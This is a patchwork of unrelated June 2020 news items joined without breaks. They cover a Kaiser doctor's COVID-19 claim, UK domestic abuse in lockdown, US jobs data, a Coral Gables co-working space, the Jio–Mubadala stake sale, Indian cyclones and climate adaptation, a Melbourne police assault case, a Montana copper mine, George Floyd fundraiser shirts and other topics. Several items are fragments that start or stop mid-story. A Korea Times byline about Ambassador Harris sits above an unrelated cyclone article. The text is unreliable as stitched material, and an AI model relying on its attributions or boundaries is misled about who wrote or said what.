Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes

Some physicians at the Daly City clinic started working from home on March 16; McCormick said he wasnt told to do so until March 24. Two days later, his chills, headache and fever started. He was diagnosed with COVID-19 on March 29. The next day, Kaisers occupational health division told him the source of his infection was community transmission  not work.

For nearly two weeks, McCormick said his fever ebbed and flowed. He coughed and struggled to breathe just walking to the bathroom. He lost 20 pounds. The disease made him moody, irritable and depressed.

At one point I wanted to die, he said. It was a tough time emotionally.

McCormick said when he woke up coughing so violently he could barely breathe in the early morning of April 8, his wife took him to the emergency room at Kaiser in San Francisco. He stayed until April 15, receiving oxygen off and on.

McCormick said he returned to work conducting telemedicine on May 11 and, with the help of the National Union of Healthcare Workers, of which he is a member, filed for workers compensation the same week. His claim was approved Friday.

Dr. Stephen Parodi, associate executive director of the Permanente Medical Group at Kaiser, said the hospital systems infection prevention program follows best practices for using personal protective equipment.

The safety of our patients and staff is our priority, he said.

Now recovered, McCormick, who is donating his plasma to treat COVID-19 patients this weekend, said the mental and physical effects of the disease remain.

Even after I came home, I would have nightmares that COVID would come back. That has all since gotten better over time, he said. Its been quite a journey. It feels like a bad dream.

Mallory Moench is a San Francisco Chronicle staff writer. Email: mallory.moench@sfchronicle.com Twitter: @mallorymoench
A pandemic within a pandemic. Thats the horrific truth about gender-based violence during lockdown, with millions of women around the world trapped at home with abusive partners for months on end. Heartbreakingly, here in the UK the domestic abuse murder rate has almost trebled since lockdown began. Visits to the national domestic abuse website have rocketed by 950 per cent over the course of the shutdown, and research by Womens Aid suggests that two thirds of victims currently being abused say that it is escalating under lockdown.

According to a report from the United Nations Population Fund, there will be 15 million more domestic violence attacks this year as a result of stay-at-home orders, with a further 15 million for every additional three months of lockdown. So much suffering and pain, on such a vast scale.

Theres no doubt lockdown is making things worse. As Sandra Horley, chief executive of Refuge, puts it: Self-isolation has the potential to aggravate pre-existing abusive behaviours by perpetrators. But domestic violence was already at disgustingly high levels before coronavirus. Im sorry to bombard you with statistics but this is one of those issues where the raw numbers explain more than any individual story ever could. According to government statistics, 1.6 million women suffered domestic abuse in England and Wales in the year ending March 2019.

To look at it another way, domestic abuse accounts for 11 per cent of all the crime committed in the UK  with the police receiving a call about it every 30 seconds. And if you look at all the assaults that result in someone getting injured, 33 per cent of them are domestic abuse attacks. One in three. As in so many other areas, migrant women and BAME women fare worst, facing higher levels of domestic abuse murders than any other group. No wonder John Sutherland, the former Metropolitan police superintendent, described domestic violence as the single greatest cause of harm in society.

400 million would ensure no one is turned away from a shelter  thats less than a Whitehall IT project costs

The end of lockdown will be a lifeline for many women, enabling them to escape abusive partners for the first time in months. But the easing of these restrictions will bring new dangers, as experts say that victims run the greatest risk of murder when their partners are afraid that theyre about to leave them for good  or in the months after they do manage to escape a violent home.

And if you wanted evidence of just how gender-biased our society is, consider this. In spite of the immense scale of this problem, and the monstrous amount of suffering caused, government funding for womens refuges continues to be shamefully inadequate.Since 2010, one in six refuges has closed across the UK, and its reported that 60 per cent of women are turned away from refuges because theyre too full. Just imagine that  you manage to escape from the clutches of a sadistic partner, only to find yourself alone on the streets.

Its not even as if the spending required is large, by government standards. Before the lockdown, Womens Aid calculated that an extra 400 million or so would ensure no victim of abuse would ever be turned away from a shelter  less than the cost overruns on a crappily-run Whitehall IT project. Genuinely  its a pittance in terms of the total public spending budget.

Its true that the Government has recently announced some extra funding for the fight against domestic violence, but as welcome as that is, it still falls way short of whats needed. Spending more money is essential  but we also need to change the way its handed out. When I worked in No 10, I fought (unsuccessfully) to get funding for refuges allocated on a multi-year basis  not just year by year. The obstacle was the fact that refuges are typically funded by local government, so to provide longer-term funding you either need central government to fund refuges directly, or give councils extra money that can only be spent on these essential services. Thats a big change to the status quo, which is why the problem persists. As Refuge points out, this kind of long-term funding is essential, because otherwise shelters are constantly at risk of closure, and find it more difficult to do long-term planning, as they dont know if they will still be operating in a years time.

So many lives have been devastated by domestic violence during lockdown. Its too late to wind back the clock  but we can seize this moment to look after the victims of this other pandemic, and take action for the future. Anything less would be unconscionable.
In the details of the jobs report, and in other real-time economic data that has piled up in recent weeks, many economists saw evidence of existing federal assistance programs weaving a net to stop the economy from falling deeper into contraction.

More than half of the net job gains for May  1.4 million  came in food and drinking establishments, which had shed more than six million jobs in the previous two months. Restaurants and bars have benefited from states lifting restrictions on economic activity, but in May, they saw a surge in funding from the $660 billion Paycheck Protection Program, which offers loans to small businesses that can be forgiven if workers are retained or rehired.

By mid-May, according to the Census Bureau, three-quarters of small businesses in the food and beverage sector reported receiving a loan from the Paycheck Protection Program, up from less than half in late April. Funding grew to similar levels for businesses in the health care industry, including dental offices, which added 245,000 jobs in May despite what appeared to be relatively little increase in the demand for dentist appointments during the virus outbreak.

The best interpretation I have for this right now is that when we had the April report, virtually none of the stimulus had gone out by the reference week, said Ernie Tedeschi, an economist at Evercore ISI in Washington. Now weve had a full month of fiscal support. I think part of the recovery is due to that.

Many Republicans took the jobs report as evidence that the economy was roaring back as states reopen and was unlikely to need another large dose of stimulus.
Home-schooling is driving professionals out of the house and into shared offices.

That helps explain strong pre-leasing activity at Forum, set to open in Coral Gables by late June. The 9,000-square-foot Forum is being developed by Coconut Grove-based real estate development and management firm Location Ventures, said the firms chief executive officer Rishi Kapoor. It is Location Ventures first co-working space in South Florida.

While Forum includes about 900 square feet of floating office space, the facility on the ground floor of 275 Alhambra Circle is dominated by 88 private suites.

Kapoor began the $2.5 million build out in January and is opening despite the pandemic because, he said, Its where it lands on the calendar. We have been in the works for some time. We know the flex space will be a higher percentage of the market than it is today. It is only going to grow because it is meeting a lifestyle trend of business professionals, Kapoor said.

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Pre-leasing activity slowed in March and April, but increased in May and June, Kapoor said. Home-schooling and the desire for private offices are driving demand, he said. Businesses ranging from local developers to talent agents have called in recent weeks inquiring about space. Many suites are already secured by accountants, lawyers, real estate agents and marketing professionals.

Memberships range from $350 per month for common-area space to $800 per month for a private office. Membership includes on-site business support with marketing initiatives and legal referrals.

People will see this not as a place to conduct business but a place to grow their business, Kapoor said.

At Forum, safety protocols will include staff health screenings; masks will be required in common areas. The most important amenity that will help drive confidence is higher amount of cleaning, Kapoor said.

Story continues

Demand for local co-working spaces is expected to grow over the next 18 months as more professionals relocate from the northeast, Kapoor said. We believe Florida is going to be a net winner of COVID-19. People from the northeast in more dense places have been looking to move here, whether for weather, tax and, now, health reasons.

Coral Gables has become a hotbed for shared office space. Despite ongoing woes, co-working giant WeWork has retained its office there; Pipeline Miami also offers floating space and dedicated suites in the City Beautiful, a hub for international companies.

Location Ventures bought the 52,719-square-foot, five-story building on Alhambra in 2018 for $12.5 million. It will relocate its headquarters to the building this month, dedicating 5,000 square feet on the top floor for its 25-person team, Kapoor said. The firm is planning to adapt the rest of the building for traditional office use.
Source: Xinhua| 2020-06-05 00:09:26|Editor: huaxia

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Video: UN Secretary-General Antonio Guterres expresses the hope that a COVID-19 vaccine will be seen as a global public good, or a people's vaccine. (Xinhua)



"A COVID-19 vaccine must be seen as a global public good, a people's vaccine, which a growing number of world leaders are calling for," says United Nations (UN) Secretary-General Antonio Guterres.



UNITED NATIONS, June 4 (Xinhua) -- United Nations (UN) Secretary-General Antonio Guterres on Thursday expressed the hope that a COVID-19 vaccine will be seen as a global public good, or a people's vaccine.

"COVID-19 is the greatest public health crisis of our generation. Right now, there is no vaccine. As we work together to develop one, there is an important lesson we need to understand. A vaccine, by itself, is not enough. We need global solidarity to ensure that every person, everywhere, has access," Guterres said at a virtual global vaccine summit.

"A COVID-19 vaccine must be seen as a global public good, a people's vaccine, which a growing number of world leaders are calling for," he added.

At the summit, Guterres called on participants to make three key commitments: find safe ways to continue delivering vaccinations, even as COVID-19 spreads; use the networks of vaccine-delivery to deliver a range of other primary health services; make sure a COVID-19 vaccine reaches everyone when it becomes available.

"Diseases know no borders. That is why a fully-funded GAVI (Vaccine Alliance) will be critical to ensure we continue the progress toward the Sustainable Development Goals," said Guterres.

Twenty million children are missing their full complement of vaccines, and one in five has received no vaccines at all, he noted.

Under the shadow of COVID-19, their plight is even more desperate, he added, warning that the gaps in global vaccine delivery could grow wider. 
We have nothing to do with farm laws: Reliance Industries

Reliance strikes 6th deal, sells 1.85 pc in Jio Platforms for Rs 9,093.60 cr to Abu Dhabi's Mubadala

India

pti-PTI

New Delhi, June 05: Reliance Industries on Friday announced the sale of 1.85 per cent stake in its digital unit to Abu Dhabi-based sovereign investor Mubadala for Rs 9,093.60 crore, the sixth deal in as many weeks that will inject a combined Rs 87,655.35 crore in the oil-to-telecom conglomerate to help it pare debt.

"Mubadala Investment Company (Mubadala), will invest Rs 9,093.60 crore in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore," the company said in a statement. With this investment, Jio Platforms has raised Rs 87,655.35 crore from leading global technology and growth investors including Facebook, Silver Lake, Vista Equity Partners, General Atlantic, KKR and Mubadala in less than six weeks.

Reliance Jio sells 1.34 per cent stake to US equity General Atlantic for 6,598.38 cr

Facebook picked up 9.99 per cent stake in the firm that houses India's youngest but largest telecom firm on April 22 for Rs 43,574 crore. Within days of that deal, Silver Lake - the world's largest tech investor - bought a 1.15 per cent stake in Jio Platforms for Rs 5,665.75 crore. On May 8, US-based Vista Equity Partners bought 2.32 per cent stake in Jio Platforms for Rs 11,367 crore.

On May 17, global equity firm General Atlantic picked up 1.34 per cent stake in Jio Platforms for Rs 6,598.38 crore. This was followed by US private equity giant KKR buying 2.32 per cent for Rs 11,367 crore. Jio Platforms, a wholly-owned subsidiary of Reliance Industries Ltd, is a next-generation technology company. Reliance Jio Infocomm Ltd, with 388 million mobile subscribers, will continue to be a wholly-owned subsidiary of Jio Platforms. Mukesh Ambani, Chairman and Managing Director of Reliance Industries, said Mubadala is one of the most astute and transformational global growth investors.

"Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadala's work in diversifying and globally connecting the UAE's knowledge-based economy. We look forward to benefitting from Mubadala's experience and insights from supporting growth journeys across the world," he said.

Khaldoon Al Mubarak, Managing Director and Group CEO, Mubadala Investment Company, said: "We are committed to investing in, and actively working with, high growth companies which are pioneering technologies to address critical challenges and unlock new opportunities."

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

"We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting India's digital growth journey. With Jio's network of investors and partners, we believe that the platform company will further the development of the digital economy." To further its commitment to innovation and technology, Mubadala established its Ventures arm in 2017 to partner early with visionary founders and support innovative businesses.

Mubadala's Ventures business currently manages several venture funds in the US, Europe and Middle East.

After Facebook, Silver Lake invests Rs 5,656 crore in Jio Platforms

At present, Mubadala's portfolio spans advanced manufacturing, semiconductors, metals & mining, pharmaceutical and medical technology, renewable energy and utilities, and the management of diverse financial holdings.

The transaction is subject to regulatory and other customary approvals. Morgan Stanley acted as financial advisor to Reliance Industries and AZB & Partners, and Davis Polk & Wardwell acted as legal counsel. Ambani, 63, chairman and managing director of Reliance, had in August last year set a target of March 2021, to make his conglomerate net debt-free.

But thanks to the Facebook deal, a Rs 53,125 crore rights issue, private equity investments, and more stake sale to companies such as Saudi Aramco, the target is likely to be achieved by December. At the end of March quarter, Reliance had an outstanding debt of Rs 3,36,294 crore and cash in hand of Rs 1,75,259 crore. After adjusting cash, the net debt came to Rs 1,61,035 crore. Of the outstanding debt, Rs 2,62,000 crore is on Reliance books and Rs 23,000 crore is with Jio.
U.S. Ambassador to South Korea Harry Harris. / Korea Times photo by Shim Hyun-chul



By Jung Min-ho




A boat is lifted by a crane off the coast of the Arabian sea as cyclone Nisarga makes its landfall on the outskirts of the city, in Mumbai, India, June 3, 2020. REUTERS/Francis Mascarenhas - RC2L1H9BNA2Y

Highlights

> Cyclone Nisarga hit the western coast of India on June 3. It comes close on the heels of cyclone Amphan that impacted the eastern coastal states in India.

> The extreme weather events that have come to Maharashtra and West Bengal and their coastal capital cities, against the backdrop of environmental degradation, are overlapping with COVID-19 which is widespread in these areas.

> The two cyclones highlight the urgency for climate adaptation and resilience in Indias coastal cities.

> COVID-19 recovery offers a chance to further climate action by giving due importance to sound environmental responses, plans, and policies.

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Impacts of two tropical cyclones, cyclone Nisarga in Maharashtra and Gujarat and cyclone Amphan in West Bengal and Odisha, have reinforced the urgency of climate adaptation and building resilience into urban and environmental planning for coastal megacities.

The two states and their capitals (Maharashtra/Mumbai and West Bengal/Kolkata) are currently grappling with overlapping disasters (extreme weather events and COVID-19), against the backdrop of environmental degradation with choking rivers and wetlands and mangroves that buffer from cyclones shrinking due to urbanisation and expansion. Exposed to rising sea levels and high population density, the low-lying cities are prone to flooding during the monsoon which has set in.

Nisarga made landfall near Alibaug in coastal Maharashtras Raigad district on June 3 as a severe cyclonic storm with a wind speed of 100-110 kmph gusting to 120 mph. Mumbai, Indias commercial capital, narrowly escaped the cyclones fury. It caused minimal damage to life and property said National Disaster Response Force chief R.N. Pradhan, according to media reports.

Mumbai is Indias most populous city with 20 million residents. The state currently accounts for one-third of Indias COVID-19 cases. In addition to the pandemic and cyclone, locust swarms have been sighted in parts of eastern Maharashtra, in what is said to be the largest locust swarm in close to three decades.

On the opposite coast of India, barely a fortnight ago, cyclone Amphan barrelled into coastal West Bengal, Odisha (and neighbouring Bangladesh) fueled by unusually warm waters of the Bay of Bengal. It became one of the strongest cyclones in the recorded history of the north Indian Ocean.

Climate scientist Roxy Mathew Koll, lead author of IPCC Special Report on Oceans and Cryosphere in a Changing Climate said that the impact is more when multiple extremes come together. We call them compound events. Some of the heaviest rains occurred during cyclone Amphan. Some parts of Kolkata recorded about 200 mm in 24 hours which is like a months rainfall. That happened not only due to the intensity of the cyclone but also because we have more moisture in the atmosphere due to warmer climatic conditions, Koll, Indian Institute of Tropical Meteorology told Mongabay-India. These compound events are increasing and are largely affecting the tropics where you have the vulnerable populations who do not generally have access to early warning systems and the benefit of long-term climate change policies and vision in terms of adaptation and mitigation, said Koll.

According to the Intergovernmental Panel of Climate Changes Fifth Assessment Report (AR5), by the 2070s, Asian port cities like Mumbai and Kolkata, could be most at risk, in terms of population and assets exposed to coastal flooding. Half to two-thirds of Asias cities with 1 million or more inhabitants are exposed to one or multiple hazards, with floods and cyclones the most important.

The frequency of cyclones is more in the Bay of Bengal than in the Arabian Sea: four tropical cyclones in the Bay of Bengal while the Arabian Sea experiences one. The total systems of cyclonic storms formed in the Bay of Bengal over an 80 years span (1933 to 2012) exceed those of the Arabian Sea because it is relatively colder than the Bay of Bengal, so fewer systems are formed. However, rapid warming is making it fertile for cyclone formation. This could be one reason for an increase in the number of cyclones in the Arabian Sea, said Koll.

Experts have stressed that COVID-19 recovery presents a strategic opportunity to transition to a sustainable world by advancing the climate agenda, considering climate implications in economic recovery programmes and giving due attention to sound environmental responses, plans, and policies.

Protecting natural defenses

Impacting communities, cyclone Amphan also damaged one-third of the mangroves in the Indian Sundarbans, named as a Wetland of International Importance by the Ramsar Convention in 2019.

Sujoy, a school student who lives along the shrinking East Kolkata Wetlands in Kolkata, a periurban ecosystem that is also Ramsar site, said the cyclone also damaged the green cover around the wetlands. Sujoy learned about the ecosystem services provided by EKW, as part of activities in the Disappearing Dialogues project that aims to assist the preservation of existing heritage, culture, and environment of regions that are disintegrating. A substantial portion of the trees were uprooted which will impact the tranquility that we used to experience, Sujoy of Kheadaha Higher Secondary school, told Mongabay-India.

In Mumbai, a 66 square km of mangrove cover cushions the citys coastline, but it is under continuous threat from the consequences of rapid urbanisation and population surge, Mongabay-India had earlier reported.

Activists have been fighting for the cause of natural protectors like mangroves and salt pans even as flooding incidents regularly occur in the coastal capital of Maharashtra. Ahead of World Environment Day on June 5, a Mumbai-based NGO drew attention to the disappearing mangroves and wetlands in an online petition addressed to the Prime Minister and Maharashtras chief ministers office. The petition also pointed to the World Health Organisation manifesto for a green and healthy recovery from COVID-19 that discusses protection and preserving nature as the source of human health, and building healthy cities.

Climate adaptation expert and IPCC author Anjal Prakash reiterated the findings of the Madhav Chitale committee report following the July 26, 2005 Mumbai/Maharashtra flood during which Mumbai received the highest ever rainfall recorded in one day in any city. The recommended corrective actions, including protecting mangroves, must be followed through by the local authorities, he said.

The report had highlighted inadequate drainage systems, rapid development, and loss of water bodies that used to act as flood control and discharge of effluents in the Mithi river. They have laid out a roadmap in terms of what you could do, said Prakash with the Bharti Institute of Public Policy of the Indian School of Business.

IPPC author Joyashree Roy asserted it is not about lack of money but about the right economic planning towards sustainable development and choices for appropriate policies.

Since 2007 Kolkata was the only state in India that had the privilege of having IPCC dissemination meetings at regular intervals to get first-hand knowledge and reports from IPCC secretariat. But the policymakers did not take it with due seriousness. Amphan was not just another event in the city. It was for communicating urgency, IPPC author Joyashree Roy, told Mongabay-India, referring to Amphans impact on Kolkata.

Making physical assets climate resilient

We have to make physical assets climate-resilient, said Roy, Asian Institute of Technology, Thailand. We need different sets of building codes for various disaster-prone areas and they need to be implemented for all houses.

What we also need are locally built safe drinking water sources that can be even ground water-based because the need is very less. For agriculture, we need better water efficiency systems so that water demand decreases.

Following the 2015 floods in Chennai and Mumbai and the December 2015 Paris Agreement, Kolkata Municipal Corporation, in 2016 became the first city in India to prepare a comprehensive roadmap to move the city towards a low carbon and climate-resilient future, with the UK governments support.

A review article that examined the quantification, management and climate change impacts of flood risks in Surat, Mumbai, Chennai, and Kolkata, said the region (Kolkata city) is undergoing land subsidence, and this can be a boosting mechanism for future floods in the region.

Although the population in the region has adapted to flood risks as it is not very severe and long-lasting, adaptation strategies can change in the wake of severe floods induced by climate change scenarios, the review suggests. In an attempt to make the city more resilient to climate, the Kolkata Municipal Corporation is testing a sensor-based flood forecasting and early warning system.

Among the four cities, Mumbai followed by Surat (Gujarat) are most vulnerable in terms of flood risks associated with anthropogenic activities. Another factor which exacerbates flood risk in all these cities is the lack of proper drainage and sewerage system. An assessment of climate change impacts on Mumbai observed that by 2080 the likelihood of floods similar to the 2005 flood is more than double.

The study said that for the four cities, future planning and management of flood risks in these cities should also include economic minorities for the sustainability of city environments. It also underscored the implementation of early warning systems combined with information technology in flood risk management and adaptation strategies.

IIT Kharagpurs Saptarshi Ghosh who examines social media in the context of disasters said a lot of useful content is posted over online social media in the aftermath of a disaster that can be used in two ways: to help immediate post-disaster relief operations and to enhance preparedness for future disaster events. We can identify vulnerable regions, what resources are usually needed in the aftermath of a disaster in an Indian city, etc.

Working with collaborators from IIT Bombay, Ghosh used case-studies of two flood events in Indian cities  the 2015 Chennai floods and the 2017 Mumbai floods  and showed how content posted on Twitter can be used in the two ways: post-disaster relief and future disaster preparedness.

Community collaborations, education, and climate resilience

Stepping up climate change education is also a key mitigation tool and the UNESCO states education is an essential element of the global response to climate change. Indias National Policy on Disaster Management calls for disaster education in schools to develop a culture of preparedness and safety, besides implementing school disaster management plans.

But monsoon floods damage and destroy thousands of schools each year in India. In 2017, considered as South Asias (India, Nepal, and Bangladesh) worst flooding in years, at least 18,000 schools were damaged or destroyed. Indias policy also stresses on discouraging the need to use the premises of educational institutions for setting up relief camps.

However, school buildings do double up as relief camps during disasters and in 2020, they have been converted to quarantine shelters to deal with COVID-19 cases during the lockdown.

Artist and art educationist Nobina Gupta who runs Disappearing Dialogues that engage with school students said the need of the hour is also to support and aid the community towards trajectories of self-resilience.

Even within such adversity (Amphan), we came across multiple examples of local efforts and ingenuity to better the general condition of the area. Regardless of state support and administrative help (which has been very little), people themselves have stepped up to create local solutions using their own practices. They are themselves cleaning the streets, repairing broken houses, sheltering the homeless community members, Gupta told Mongabay-India.

Rebuilding using traditional practices and knowledge are key strategies, which we also intend to support. For all these activities, social institutions like schools are extremely important  we hope our links to the school children and the staff would serve as a valuable entry point to organise the local community in this fight for survival.
A police officer who kicked a handcuffed man in the back has been fined $10,000 but avoided conviction, something which might save his career.

Senior Constable Ross Fowler was found guilty of recklessly causing injury over his conduct in Frankston North on February 29, 2016 when he and a colleague arrested a man who was having a verbal dispute with his partner over him leaving the house.

The two police officers used capsicum spray on Brian Jackson, pushed and forced him to the ground and struck him with a torch several times.

Senior Constable Fowler was found guilty after CCTV footage played to a County Court jury showed he kicked Mr Jackson in the lower back after his arrest.
WHITE SULPHUR SPRINGS, Mont., June 05, 2020 (GLOBE NEWSWIRE) -- Sandfire Resources America Inc. (Sandfire America or the Company TSX.V: SFR and OTCQB: SRAFF) provides the following update on its Black Butte Copper underground mining project in Montana, USA.



Stage One Bonding Level Issued

The Company is pleased to announce that on May 19, 2020, the Montana Department of Environmental Quality (MT DEQ) issued a Phase I bonding number establishing a bond of $4.65 million for the Black Butte Copper Project. The Company must secure this bond before commencing surface construction at the mine site.

The initial bond increment covers only Phase 1 surface construction of the mine site. A second bond increment must be calculated by the DEQ to cover Phase 2 development which includes further underground development, mill construction, and any activities involving beneficial water use.

Commencement of Stage One Surface Earthworks

The Company is currently finalizing a construction contract for the commencement of surface earthworks which are scheduled to commence this summer after the Company secures the Phase I bond amount.

Commenting on the achievement of this milestone, Sandfire Americas CEO and VP of Project Development, Rob Scargill, said: We are proud to be part of the economic engine which will help us recover from the impacts and hardships we have all felt from the COVID-19 pandemic. Strength in the natural resources sector will help drive recovery across the economy, creating employment and opportunities for the people of Montana.

This sets a clear path toward completing the Black Butte Feasibility Study and, subject to progressing project funding and making a positive Final Investment Decision, building a showcase mine that will combine local input and expertise with state-of-the-art technology.

Sandfire America Senior Vice President, Jerry Zieg, stated, Were very pleased and look forward to being part of the solution to Montanas economic revival by providing new jobs and new opportunities. Together with our stakeholders and community we have achieved a permit that protects our waterways and the environment which we all cherish and look forward to providing an important economic driver for our community and for Montana in these challenging times.

Story continues

Legal Challenge

A legal challenge to the MT DEQs Record of Decision was lodged in the 14th Judicial Court in Meagher County, Montana against the MT DEQ and Tintina Montana Inc., a wholly owned subsidiary by Sandfire America, by a number of groups who oppose resource development in Montana on June 4, 2020. The Company will review the challenge and will seek to work with the MT DEQ to defend this litigation vigorously.

Rob Scargill said, We are disappointed that this litigation has been filed. No major natural resource project in Montana seems to go unchallenged despite our strict regulations and processes enshrined in Montana law. Montana DEQ, under Governor Bullock, did an extremely thorough job of evaluating and reviewing the permit application during the past four and a half years, adopting changes to even further strengthen the permit, making it, in the words of the Montana DEQ, the most protective permit the department has ever issued. The Montana DEQ conclusively and independently found that all environmental issues have been addressed and that this permit can be granted knowing that the environment which we all value and care for is protected.

QUALIFIED PERSON

Jerry Zieg, Vice President of Exploration for the Company, is a Qualified Person for the purposes of NI 43-101 and has reviewed, verified, and approved the data disclosed and information of a scientific or technical nature contained in this news release.

Contact Information:

Sandfire Resources America Inc.

Nancy Schlepp, VP of Communications

Mobile: 406-224-8180

Office: 406-547-3466

Email: nschlepp@sandfireamerica.com

CAUTIONARY NOTE

Cautionary Note Regarding Forward-Looking Statements: Certain disclosures in this document constitute forward looking information within the meaning of Canadian securities legislation, including statements regarding the Companys plans for advancing the Black Butte Copper Project including commencement of contracted surface work and expected outcomes. In making these forward-looking statements, the Company has applied certain factors and assumptions that the Company believes are reasonable, including that the Company will receive required regulatory approvals, that the Company will continue to be able to access sufficient funding to execute its plans, that the Company's exploration and development activities on the Black Butte Copper Project will not be materially affected by actions of environmental activists or other special interest groups, and that the results of exploration and development activities are consistent with managements expectations, and assumptions regarding the impact of the global health and financial crisis caused by COVID-19 on the Company. However, the forward-looking statements in this document are subject to numerous risks, uncertainties and other factors, including factors relating to the Companys operation as a mineral exploration and development company and the Black Butte Copper Project, that may cause future results to differ materially from those expressed or implied in such forward-looking statements, including that results of exploration and development activities will not be consistent with managements expectations, delays in obtaining or inability to obtain required government or other regulatory approvals or financing, interference with the Company's exploration or development activities by environmental activists or other special interest groups, the risk that the Company will be materially and adversely impacted by the global health and financial crisis caused by COVID-19, failure of plant, equipment or processes to operate as anticipated, the risk of accidents, labor disputes, inclement or hazardous weather conditions, unusual or unexpected geological conditions, ground control problems, earthquakes, flooding and all of the other risks generally associated with the development of mining facilities. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Readers are cautioned not to place undue reliance on forward-looking statements. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
 In 1776, our nations founders knew that slavery was wrong. Slavery already had been abolished in England and Europe. In the first draft of the Declaration of Independence, Jefferson wrote that before slavery was abolished in England, King George III had waged cruel War against Nature itself, violating its most sacred Rights of Life and Liberty in the Persons of a distant People who never offended him, captivating and carrying them into Slavery. That language was cut from the final draft of our Declaration of Independence for fear it would stir discord among Southern states. And so all men were created equal, but not really.
A lawyer from Keralas Malappuram has filed a police complaint against BJP leader Maneka Gandhi and others for allegedly indulging in a hate campaign against the district and its residents over the death of the pregnant elephant, news agency ANI reported on Friday.

ANI reported that Subhash Chandran, an advocate from Malappuram, filed the complaint with the districts superintendent of police on Thursday seeking the registration of a first information report (FIR) against former Union minister Maneka Gandhi and others.

Chandran alleged that the campaign against the district was very derogatory and with a malafide intent, ANI reported. The lawyer alleged that Maneka Gandhi made false and frivolous allegations against the district of Malappuram and its residents, it added.

After the elephant died, the former Union minister had tweeted that Malapuram is known for its intense animal activity and yet authorities did not take any action to curb the menace.

The elephant died after she ate the pineapple stuffed with firecrackers and forest officials said that it died standing in the River Velliyar after it suffered an injury in its lower jaw.

It was seen standing in the river with her mouth and trunk in the water after the firecracker-filled fruit exploded in her mouth.

Chandran, through the complaint, prayed to the district police chief to register an FIR against Maneka Gandhi and others under Section 153A, 120B etc of the Indian Penal Code (IPC).

He said the elephant died on May 29 in Palakkad and not in Malappuram as claimed by a section of social media users.

Prominent news outlets operating from the South also reported that the elephant died after consuming explosive-laden pineapple in Palakkad

He said that the unfortunate death of the elephant in Mannarkkad area of Palakkad district dominated social media conversations in the last two days but a group of people deliberately added communal colour into it only to spread hatred against Malappuram, which is a Muslim-majority district in Kerala, according to ANI.

Chandran also named Tarek Fatah, a political commentator, for allegedly starting a hate campaign against the district and the minority community.

A man has been arrested and another detained in connection with the elephants death.

(With agency inputs)
Fundraiser T-shirts by L.A.-based, black-owned brands Renowned ($35, at left) and Fear of God ($100). (Renowned (left) / Fear of God (right))

The nation was shaken last week when video footage went viral of George Floyd suffocating as a Minneapolis police officer knelt on his neck for nearly nine minutes. Floyd, a black man, died after the incident and the aftermath tore open wounds of racial injustices across the country. The four police officers involved in the incident are facing criminal charges, with Derek Chauvin, the white officer who knelt on Floyd's neck, facing a charge of second-degree murder.

Floyd's death and those of black people at the hands of police or other racially charged events, including Breonna Taylor and Ahmaud Arbery, have sparked a call to uplift black-owned businesses and increased support for movements fighting inequality. For two L.A.-based, black-owned fashion brands, that support comes in the form of T-shirts created to raise both awareness and funds.

Renowned's "Heroes of Blackness" tee

Renowned's "Heroes of Blackness" T-shirt ($35) is available for pre-order at renowned.la. (Renowned )

Thursday, streetwear label Renowned posted for pre-order (with delivery in three weeks) a "Heroes of Blackness" T-shirt company owner John Dean says represents his pride in being a black man and entrepreneur. The black, vintage-wash screen-printed tee features political-campaign-button-style portraits of Black Panther leaders Huey Newton and Kathleen Cleaver along with other images of the Black Power movement and the word Dismantle embroidered at the neckline. The accompanying hang tag lists names of people who have been killed by police, groups to donate to and resources to find out additional information. Proceeds from sales of the $35 T-shirt, currently available for pre-order at the renowned.la website, will be donated to Black Lives Matter, the George Floyd Foundation and Reclaim the Block.





Fear of God's "GF" tee

The front of the black Fear of God T-shirt ($100) has the letters GF in 3M reflective letters (left), and the back lists other black-owned or independent brands as a showing of solidarity (right). (Fear of God)

Also on Thursday, Fear of God founder Jerry Lorenzo posted on Instagram that his brand had created a shirt in tribute to George Floyd. The design is a spin on the "FG" shirt from Lorenzo's sixth collection but with the letters flipped to "GF" to match Floyd's initials. In the post, Lorenzo shared a heartfelt message about the racism he's experienced in his own life, the importance of fatherhood and building a legacy of generational wealth.

The shirt will be available in two styles: black with reflective 3M letters and white with black letters. As a sign of solidarity with other black-owned and independent businesses, the logos of Union, Noah, Off-White, Awake, Denim Tears, Pyer Moss and Melody Ehsani are listed on the back. The limited-edition $100 T-shirts will be be available starting at 9 a.m. Pacific Time Friday through the Fear of God Instagram page, with 100 percent of the proceeds going to the Gianna Floyd Fund, the official GoFundMe effort benefiting George Floyd's 6-year-old daughter. (If you're not quick enough to score a limited-edition tee but still want to donate to the fund, you can do so by going directly to the GoFundMe page.)
T heres nothing quite like a fresh batch of scones topped with cream and jam - but which do you put first?

To solve this centuries-old argument, M&S has launched a strawberry-flavoured clotted cream so you dont have to decide.

M&S tweeted on Wednesday: What comes first  jam or cream? Now you dont have to choose thanks to our new strawberry-flavoured clotted cream. Its a sweet scone game changer  and its in store now. 

The new product is made with Jersey and Guernsey milk and is 2.50 for 200g. M&S recommends its served with strawberries and scones.

The supermarket added: Whether you do it the Cornish way or the Devonshire way, the age-old debate of what to top a scone with first, often results in a heated debate over a cup of Earl Grey. Until now!

M&S introduces the first ever product to silence both parties, by combining jam with clotted cream and making one ultimate afternoon tea delight.

Cornish residents have always put jam first while those in Devon start with the clotted cream.

Comedian Dawn French, who lives in Cornwall, weighed in on the matter, retweeting M&S announcement and adding: Theres hell on! Am mobilising the Cornish Barbarian Horde.... we will not rest til this battle is won & our cream is safe again... appalling.

A poll from YouGov in 2016 found that 61 per cent of Brits think it should be done the Cornish way, with jam first. But well let you decide.
Anthony Batts knows painfully well how simmering anger over police abuses can explode into riots.

Hes seen it happen as the police chief in Long Beach, California, then in Oakland, California, and finally in Baltimore, when his efforts to reform the citys police department ended with a 2015 uprising triggered by the death of Freddie Gray, who suffered a neck injury while in police custody.

